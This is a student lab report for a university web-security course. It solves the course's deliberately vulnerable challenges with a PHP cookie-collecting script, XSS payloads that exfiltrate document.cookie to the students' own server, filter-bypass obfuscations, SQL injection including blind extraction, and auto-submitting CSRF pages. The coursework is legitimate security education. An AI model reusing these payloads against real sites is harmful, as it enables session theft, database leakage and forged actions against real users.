CSE 484 Lab 2

Group Members:
Zetian Chen (zetiac)
Kaizhi Zhong (kaizhz)
Weikai Hu (huweikai)

Pikachu, Meowth, and Cookies

In order to receive cookies, we created a PHP script on the following url:

https://homes.cs.washington.edu/~zetiac/CookieEater.php

The code of the PHP script is as follows:

```
<?php

if (isset($_GET["cookie"])) {
  $cookie = $_GET["cookie"];
  file_put_contents("hello.txt", $cookie."\n", FILE_APPEND);
}

?>
```

Then, we set the privileges of CookieEater.php to be 644 and that of hello.txt to be 622.

Notice that this script will be used throughout all the XSS problems.

Problem 1

The url we used in this problem is as follows:

```
http://codered.cs.washington.edu/lab2/pmc/simple.php?url=<script>var
img=new Image(); img.src="https://homes.cs.washington.edu/~zetiac/
CookieEater.php?cookie="%2Bdocument.cookie</script>
```

Page `http://codered.cs.washington.edu/lab2/pmc/simple.php?url=<payload>` has XSS vulnerability that it just put the payload into the html page it renders. Hence, we can inject a script tag into the page sending a request to our CookieEater. Notice that we have to replace '+' with '%2B' to prevent the '+' be interpreted as the concatenation symbol in the url.

Checking hello.txt, we found the authentication token is:

```
authenticated=5285b3ba68908ba4df4bd0c29af537808b350abf
```

Accompanying file(s): CookieEater.php

Problem 2

Since we cannot use script tag in this problem, we can first convert our payload into a list of numbers and use String.fromCharCode to convert it back and use eval to execute the payload. In this way, we can bypass the script checking.

Hence, the url we entered in this problem is as follows:

```
http://codered.cs.washington.edu/lab2/pmc/notsosimple.php?url=<img
src=$ onerror="eval(String.fromCharCode(118, 97, 114, 32, 105, 109,
103, 61, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 59, 105,
109, 103, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 115, 58, 47,
47, 104, 111, 109, 101, 115, 46, 99, 115, 46, 119, 97, 115, 104, 105,
110, 103, 116, 111, 110, 46, 101, 100, 117, 47, 126, 122, 101, 116,
105, 97, 99, 47, 67, 111, 111, 107, 105, 101, 69, 97, 116, 101, 114,
46, 112, 104, 112, 63, 99, 111, 111, 107, 105, 101, 61, 39, 43, 100,
111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101,
59))”/>
```

Here, list

```
[118, 97, 114, 32, 105, 109, 103, 61, 110, 101, 119, 32, 73, 109, 97,
103, 101, 40, 41, 59, 105, 109, 103, 46, 115, 114, 99, 61, 39, 104,
116, 116, 112, 115, 58, 47, 47, 104, 111, 109, 101, 115, 46, 99, 115,
46, 119, 97, 115, 104, 105, 110, 103, 116, 111, 110, 46, 101, 100,
117, 47, 126, 122, 101, 116, 105, 97, 99, 47, 67, 111, 111, 107, 105,
101, 69, 97, 116, 101, 114, 46, 112, 104, 112, 63, 99, 111, 111, 107,
105, 101, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99,
111, 111, 107, 105, 101, 59]
```

corresponds to payload

```
var img=new Image();img.src='https://homes.cs.washington.edu/~zetiac/
CookieEater.php?cookie='+document.cookie;
```

We use the following python code to help us with the conversion:

```
s = "var img=new Image();img.src='https://homes.cs.washington.edu/
~zetiac/CookieEater.php?cookie='+document.cookie;"
l = list(map(ord, s))
print(l)
```

Checking hello.txt, we found the authentication token is:

```
authenticated=45bbc3430fdef274e307bfab45b75a28e291f9db
```

Accompanying file(s): CookieEater.php

Problem 3

Ok, since we cannot use script, style, on, and space, we cannot rely on any triggering functions and css-based XSS attacks. One thing that is still usable is iframe. We also noticed that we can use forward slash / to function as a separator in place of the space.

The url we entered in this problem is as follows:

```
http://codered.cs.washington.edu/lab2/pmc/reallyhard.php?url=<iframe/
src="data:text/html,
%253C%2573%2563%2572%2569%2570%2574%253E%2576%2561%2572%2520%2569%256D
%2567%253D%256E%2565%2577%2520%2549%256D%2561%2567%2565%2528%2529%253B
%2569%256D%2567%252E%2573%2572%2563%253D%2527%2568%2574%2574%2570%2573
%253A%252F%252F%2568%256F%256D%2565%2573%252E%2563%2573%252E%2577%2561
%2573%2568%2569%256E%2567%2574%256F%256E%252E%2565%2564%2575%252F%257E
%257A%2565%2574%2569%2561%2563%252F%2543%256F%256F%256B%2569%2565%2545
%2561%2574%2565%2572%252E%2570%2568%2570%253F%2563%256F%256F%256B%2569
%2565%253D%2527%252B%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563
%256F%256F%256B%2569%2565%253B%253C%252F%2573%2563%2572%2569%2570%2574
%253E"></iframe>
```

Which is the url encoded version of the following link:

```
http://codered.cs.washington.edu/lab2/pmc/reallyhard.php?url=<iframe/
src="data:text/html,
%3C%73%63%72%69%70%74%3E%76%61%72%20%69%6D%67%3D%6E%65%77%20%49%6D%61%
67%65%28%29%3B%69%6D%67%2E%73%72%63%3D%27%68%74%74%70%73%3A%2F%2F%68%6
F%6D%65%73%2E%63%73%2E%77%61%73%68%69%6E%67%74%6F%6E%2E%65%64%75%2F%7E
%7A%65%74%69%61%63%2F%43%6F%6F%6B%69%65%45%61%74%65%72%2E%70%68%70%3F%
63%6F%6F%6B%69%65%3D%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%6
5%3B%3C%2F%73%63%72%69%70%74%3E"></iframe>
```

Where the payload string

```
%3C%73%63%72%69%70%74%3E%76%61%72%20%69%6D%67%3D%6E%65%77%20%49%6D%61%
67%65%28%29%3B%69%6D%67%2E%73%72%63%3D%27%68%74%74%70%73%3A%2F%2F%68%6
F%6D%65%73%2E%63%73%2E%77%61%73%68%69%6E%67%74%6F%6E%2E%65%64%75%2F%7E
%7A%65%74%69%61%63%2F%43%6F%6F%6B%69%65%45%61%74%65%72%2E%70%68%70%3F%
63%6F%6F%6B%69%65%3D%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%6
5%3B%3C%2F%73%63%72%69%70%74%3E
```

Corresponds to the following code:

```
<script>var img=new Image();img.src='http://students.washington.edu/
zetiac/CSE484/CookieEater.php?cookie='+document.cookie;</script>
```

The reason we need to url-encode the payload string is to prevent the payload being interpreted as already url-encoded string. We can use the following python code to url-encode the payload string:

```
import urllib.parse
s =
'%3C%73%63%72%69%70%74%3E%76%61%72%20%69%6D%67%3D%6E%65%77%20%49%6D%61
%67%65%28%29%3B%69%6D%67%2E%73%72%63%3D%27%68%74%74%70%73%3A%2F%2F%68%
6F%6D%65%73%2E%63%73%2E%77%61%73%68%69%6E%67%74%6F%6E%2E%65%64%75%2F%7
E%7A%65%74%69%61%63%2F%43%6F%6F%6B%69%65%45%61%74%65%72%2E%70%68%70%3F
%63%6F%6F%6B%69%65%3D%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%
65%3B%3C%2F%73%63%72%69%70%74%3E'
ss = urllib.parse.quote_plus(s)
print(ss)
```

Notice that each character in the payload can be represented using %HH where HH is the hex value of the character.

We used the following python code for the conversion:

```
s = "<script>var img=new Image();img.src='http://
students.washington.edu/zetiac/CSE484/CookieEater.php?
cookie='+document.cookie;</script>"
ss = ""
for c in list(s):
    ss += "%" + hex(ord(c)).upper()[2:]
print(ss)
```

Checking hello.txt, we found the authentication token is:

```
authenticated=cd1abf821c9d8f4a4f4ea6cb5870bf7e98dcff51
```

Accompanying file(s): CookieEater.php

Problem 4

The biggest challenge for this problem is that we cannot use a bunch of special characters that we may need for calling functions, especially “(” and “)”. However, after trying for different replacements, we found that we can actually use back-tick ` in place of the parentheses in some cases. Hence, now what we to do is to make the src of the image to be erroneous and make it trigger the onerror function.

The url we entered in this problem is as follows:

```
http://codered.cs.washington.edu/lab2/pmc/pie.php?
url=%22+onerror%3D%22var+l%3D%5B118%2C+97%2C+114%2C+32%2C+105%2C+109%2
C+103%2C+61%2C+110%2C+101%2C+119%2C+32%2C+73%2C+109%2C+97%2C+103%2C+10
1%2C+40%2C+41%2C+59%2C+105%2C+109%2C+103%2C+46%2C+115%2C+114%2C+99%2C+
61%2C+39%2C+104%2C+116%2C+116%2C+112%2C+115%2C+58%2C+47%2C+47%2C+104%2
C+111%2C+109%2C+101%2C+115%2C+46%2C+99%2C+115%2C+46%2C+119%2C+97%2C+11
5%2C+104%2C+105%2C+110%2C+103%2C+116%2C+111%2C+110%2C+46%2C+101%2C+100
%2C+117%2C+47%2C+126%2C+122%2C+101%2C+116%2C+105%2C+97%2C+99%2C+47%2C+
67%2C+111%2C+111%2C+107%2C+105%2C+101%2C+69%2C+97%2C+116%2C+101%2C+114
%2C+46%2C+112%2C+104%2C+112%2C+63%2C+99%2C+111%2C+111%2C+107%2C+105%2C
+101%2C+61%2C+39%2C+43%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110
%2C+116%2C+46%2C+99%2C+111%2C+111%2C+107%2C+105%2C+101%2C+59%5D%3Bvar+
s%3DString.fromCharCode.apply%60%24%7Bl%7D%60%3Beval.apply%60%24%7B%5B
s%5D%7D%60%22+src%3D%22
```

In which, if we url-decode the “url” parameter, the payload corresponds to the following:

```
" onerror="var l=[118, 97, 114, 32, 105, 109, 103, 61, 110, 101, 119,
32, 73, 109, 97, 103, 101, 40, 41, 59, 105, 109, 103, 46, 115, 114,
99, 61, 39, 104, 116, 116, 112, 115, 58, 47, 47, 104, 111, 109, 101,
115, 46, 99, 115, 46, 119, 97, 115, 104, 105, 110, 103, 116, 111, 110,
46, 101, 100, 117, 47, 126, 122, 101, 116, 105, 97, 99, 47, 67, 111,
111, 107, 105, 101, 69, 97, 116, 101, 114, 46, 112, 104, 112, 63, 99,
111, 111, 107, 105, 101, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110,
116, 46, 99, 111, 111, 107, 105, 101, 59];var
s=String.fromCharCode.apply`${l}`;eval.apply`${[s]}`" src="
```

Where variable l corresponds to the payload we have used in a previous problem:

```
<script>var img=new Image();img.src='http://students.washington.edu/
zetiac/CSE484/CookieEater.php?cookie='+document.cookie;</script>
```

Note that function apply is really the key here.

Checking hello.txt, we found the authentication token is:

```
authenticated=729efab9f893b1d3fd47eafb4cb43cf42e3ce62a
```

Accompanying file(s): CookieEater.php

Problem 5

This problem is way easier than the previous problems.

Since the only characters we cannot use are “<” and “>”, we can directly put our payload into the matching script tags by terminating the previous statement as well as the next statement.

The url we entered in this problem is as follows:

```
http://codered.cs.washington.edu/lab2/pmc/vikings.php?url=";var
img=new Image();img.src="https://homes.cs.washington.edu/~zetiac/
CookieEater.php?cookie="%2Bdocument.cookie;"
```

Where the payload is the following:

```
";var img=new Image();img.src="https://homes.cs.washington.edu/
~zetiac/CookieEater.php?cookie="%2Bdocument.cookie;"
```

Note that we need to change ‘+’ to ‘%2B’ for url-encoding.

Checking hello.txt, we found the authentication token is:

```
authenticated=de607f28caabd2113dad11467f3d80258c7545ed
```

Accompanying file(s): CookieEater.php

Problem 6

Notice that this problem is just a combination of problem 4 and 5. Hence, the url we entered is as follows:

```
http://codered.cs.washington.edu/lab2/pmc/volleyball.php?url=";var
l=[118, 97, 114, 32, 105, 109, 103, 61, 110, 101, 119, 32, 73, 109,
97, 103, 101, 40, 41, 59, 105, 109, 103, 46, 115, 114, 99, 61, 39,
104, 116, 116, 112, 115, 58, 47, 47, 104, 111, 109, 101, 115, 46, 99,
115, 46, 119, 97, 115, 104, 105, 110, 103, 116, 111, 110, 46, 101,
100, 117, 47, 126, 122, 101, 116, 105, 97, 99, 47, 67, 111, 111, 107,
105, 101, 69, 97, 116, 101, 114, 46, 112, 104, 112, 63, 99, 111, 111,
107, 105, 101, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46,
99, 111, 111, 107, 105, 101, 59];var s=String.fromCharCode.apply`${l}
`;eval.apply`${[s]}`;"
```

Remember that the payload stored in variable l corresponds to the following (same as the one we used in problem 4):

```
<script>var img=new Image();img.src='http://students.washington.edu/
zetiac/CSE484/CookieEater.php?cookie='+document.cookie;</script>
```

Note that function apply is really the key here.

Checking hello.txt, we found the authentication token is:

```
authenticated=e594be92fbbf0fef75eb2a27ba9d38e96ce69b5e
```

Accompanying file(s): CookieEater.php

Problem 7 (Extra Credit)

Although we cannot use a lot of letters in this problem, we can still use letters “aelv”! That means, we can still call function “eval()”. The next question is how we are going to put something into the eval function to make it execute the code.

In fact, eval can interpret not only strings, but also hex and octal values, as commands. Since hex values also use letters “bcdf”, we should just use octal values.

The url we entered in this problem is as follows:

```
http://codered.cs.washington.edu/lab2/pmc/impossible.php?
url=";eval('va\162 a=new \111mage();a.
\163\162\143="\150\164\164p\163://\150ome\163.\143\163.wa\163\150\151n
g\164on.e\144u/~\172e\164\151a\143/\103ook\151eEa\164e\162.p\150p?
\143ook\151e="%2B\144o\143umen\164.\143ook\151e;');"
```

Where the payload string

```
";eval('va\162 a=new \111mage();a.
\163\162\143="\150\164\164p\163://\150ome\163.\143\163.wa\163\150\151n
g\164on.e\144u/~\172e\164\151a\143/\103ook\151eEa\164e\162.p\150p?
\143ook\151e="%2B\144o\143umen\164.\143ook\151e;');"
```

Corresponds to the following code:

```
var a=new Image();a.src="http://students.washington.edu/zetiac/CSE484/
CookieEater.php?cookie="+document.cookie;
```

That means, if a letter is on the blacklist, then we can replace it with its octal value. For this task, we used the following python code:

```
command = 'var a=new Image();a.src="https://homes.cs.washington.edu/
~zetiac/CookieEater.php?cookie="+document.cookie;'
blacklist = "bcdfhijrstz"
s = ""

for e in command:
    if e.lower() in blacklist:
        n = oct(ord(e))[2:]
        if len(n) == 2:
            n = "0" + n
        n = "\\" + n
    else:
        n = e
    s += n

s = s.replace("+","%2B")
print(s)
```

Checking hello.txt, we found the authentication token is:

```
authenticated=e0e35dfaaa5994d36992de4c448133dd7ae05fdd
```

Accompanying file(s): CookieEater.php

Problem 8 (Extra Credit)

The difference between this problem and the previous problems is that this time, the request are POST, instead of GET, request. Since we cannot use letters nor numbers, we can ask the server to visit some page on our server and auto send a POST request to the Mewtwo server. That is, we are launching a CSRF attack.

The url we entered is as follows:

```
https://homes.cs.washington.edu/~zetiac/evil.html
```

The html code of evil.html is as follows:

```
<!DOCTYPE html>
<html>
<head>
  <title>Evil</title>
</head>
<body>
  <form method="POST" action="https://codered.cs.washington.edu/lab2/
pmc/wobbuffet.php?">
    <input name="url" type="hidden" value='';$=~[];$={___:++$,$$$$:(!
[]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]
+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:+
+$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.
$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+
($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;
$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$
($.$($.$$+"\""+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$.$$_+$._$_+"\
\"+$.$__+$.___+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$_$+"\\"+
$.__$+$.$__+$.$$$+"=\\"+$.__$+$.$_$+$.$$_+$.$$$_+"\\"+$.__$+$.$$_+$.$$
```

```
$+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$_$+$.
$_$_+"\\"+$.__$+$.$__+$.$$$+$.$$$_+"();\\"+$.__$+$.$_$+$.__$+"\\"+
$.__$+$.$_$+$.$_$+"\\"+$.__$+$.$__+$.$$$+".\\"+$.__$+$.$$_+$._$$+"\\"+
$.__$+$.$$_+$._$_+$.$$__+"=\\\"\\"+$.__$+$.$_$+$.___+$.__+$.__+"\\"+
$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$._$$+"://\\"+$.__$+$.$_$+$.___+
$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$$_+$._$$+"."+$.$
$__+"\\"+$.__$+$.$$_+$._$$+".\\"+$.__$+$.$$_+$.$$$+$.$_$_+"\\"+$.__$+
$.$$_+$._$$+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+
$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+$.__+$._$+"\\"+$.__$+$.$_$+$.$
$_+"."+$.$$$_+$.$$_$+$._+"/~\\"+$.__$+$.$$$+$._$_+$.$$$_+$.__+"\\"+
$.__$+$.$_$+$.__$+$.$_$_+$.$$__+"/\\"+$.__$+$.___+$._$$+$._$+$._$+"\
\"+$.__$+$.$_$+$._$$+"\\"+$.__$+$.$_$+$.__$+$.$$$_+"\\"+$.__$+$.___+$.
$_$+$.$_$_+$.__+$.$$$_+"\\"+$.__$+$.$$_+$._$_+".\\"+$.__$+$.$$_+
$.___+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$$_+$.___+"?"+$.$$__+$._$+
$._$+"\\"+$.__$+$.$_$+$._$$+"\\"+$.__$+$.$_$+$.__$+$.$$$_+"=\\\"+"+$.$
$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$
$_+$.__+"."+$.$$__+$._$+$._$+"\\"+$.__$+$.$_$+$._$$+"\\"+$.__$+$.$_$+
$.__$+$.$$$_+";"+"\"")())();"'/>
  </form>
  <script>
    document.forms[0].submit();
  </script>
</body>
</html>
```

Note that the value of the input tag is our payload encoded through JJEncode, which is a special way of encoding javascript with only a specific set of symbols.

If decoded, the payload corresponds to the following code:

```
";var img=new Image();img.src="https://homes.cs.washington.edu/
~zetiac/CookieEater.php?cookie="+document.cookie;"
```

(Extra double quotes to fix the quoting issues)

Checking hello.txt, we found the authentication token is:

```
authenticated=1f715b44d977c9822ceee4e32df871099749b730
```

Accompanying file(s): CookieEater.php

Jailbreak

Problem 1

What we entered are as follows:

Username: `admin`
Password: `' or 1 = 1 ; --`

Note the username does not matter, so long as we inject SQL code in the password to make the SELECT statement always true. Use double dash to comment out the rest of the original SQL code.

Problem 2

What we entered for this problem is as follows:

```
Chicken Husky
```

The intuition is that if we submit a random name, we would get the following message:

Since your name was not in the database, we have submitted a jailbreak request for you to the warden.

And if we try to use SQL injection single ‘) (quote + right parenthesis), we see the following error message:

Mysql Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', NOW())' at line 1

If we enter a name that has been previously submitted, then we see the following:

Hi foo, unfortunately the request you submitted on 2019-11-16 14:16:06 was not approved.

Hence, we can conclude that the server first check if the name we enter is in the database; if it is, then check time to see if it is ok to release the prisoner; otherwise, put the name into the database. Notice that the time is shown when we enter a same name. Hence, we can inject something to replace the original now() function and enter the same name to see the result of that injected expression.

The injection we came up with is as follows:

```
dodo', (SELECT K.name from (SELECT * FROM sql2 WHERE sql2.approved=1
ORDER BY sql2.name LIMIT 10,1) AS K));
```

(suppose dodo has never been entered before)

Then, enter `dodo` again to the following result:

Hi dodo, unfortunately the request you submitted on Chicken Husky was not approved.

That is, Chicken Husky is the result of the injected code, and our code will show the name of the prison who has gone out before. Hence, if we use the name Chicken Husky, we can go out of the prison!

Problem 3 (Extra Credit)

Aright, notice that the server is using statement such as “LIKE” or “IN” in its expression to check if the command we enter is in the legitimate commands. Hence, to solve this problem, we used blind injection and made the server to show different results when we entered different boolean-valued expressions.

For example, the following command

```
') and length(database()) = 1 #
```

Would get the following result:

Command cannot be found!

However, this following command

```
') and length(database()) = 4 #
```

Would get:

Command "') and length(database()) = 4 #"cannot not found. Perhaps you mean one of the followings? (Shows up to four results)

- *fight*
- *item*
- *run*
- *spell*

Hence, we know the length of the database name is 4. Using a similar technique, we can know if the first character of the database name corresponds to a specific ascii value, thus guessing out the name of the database. Similarly, we can guess out how many tables are in the database, what columns they have, what are the values in each column, etc.

By repeatedly testing (I mean I could write a python script to do that, but I'm 2 lazy), we know the following information:

Name of the current database: lab2
Number of tables in the database: 2
Name of the first table: sql3
Name of the second table: sql3-truepower
Number of columns in table sql3-truepower: 1
Name of the column in table sql3-truepower: whatyoucanreallydo
First value in column whatyoucanreallydo: hacktheplanet

Hence, the value we entered for this problem is:

```
hacktheplanet
```

Hack your 4.0!

Problem 1

Again, this is a CSRF attack. Create an html page on our server as follows:

```
<!DOCTYPE html>
<html>
  <head>
    <title>Cute Panda</title>
  </head>
  <body>
    <form method="POST" action="https://codered.cs.washington.edu/
lab2/supersecuregradingsystem/?action=update-grade">
      <input type="hidden" name="groups" value="The_Great_Firewall">
      <input type="hidden" name="grade" value="100">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

The url we sent the TA is as follows:

```
https://homes.cs.washington.edu/~zetiac/panda.html
```

When TAs' browser visit this page, a form will be sent to page https://codered.cs.washington.edu/lab2/supersecuregradingsystem/?action=update-grade. Since their browser has already signed, with TA's cache, the post request will succeed and our grade will be modified!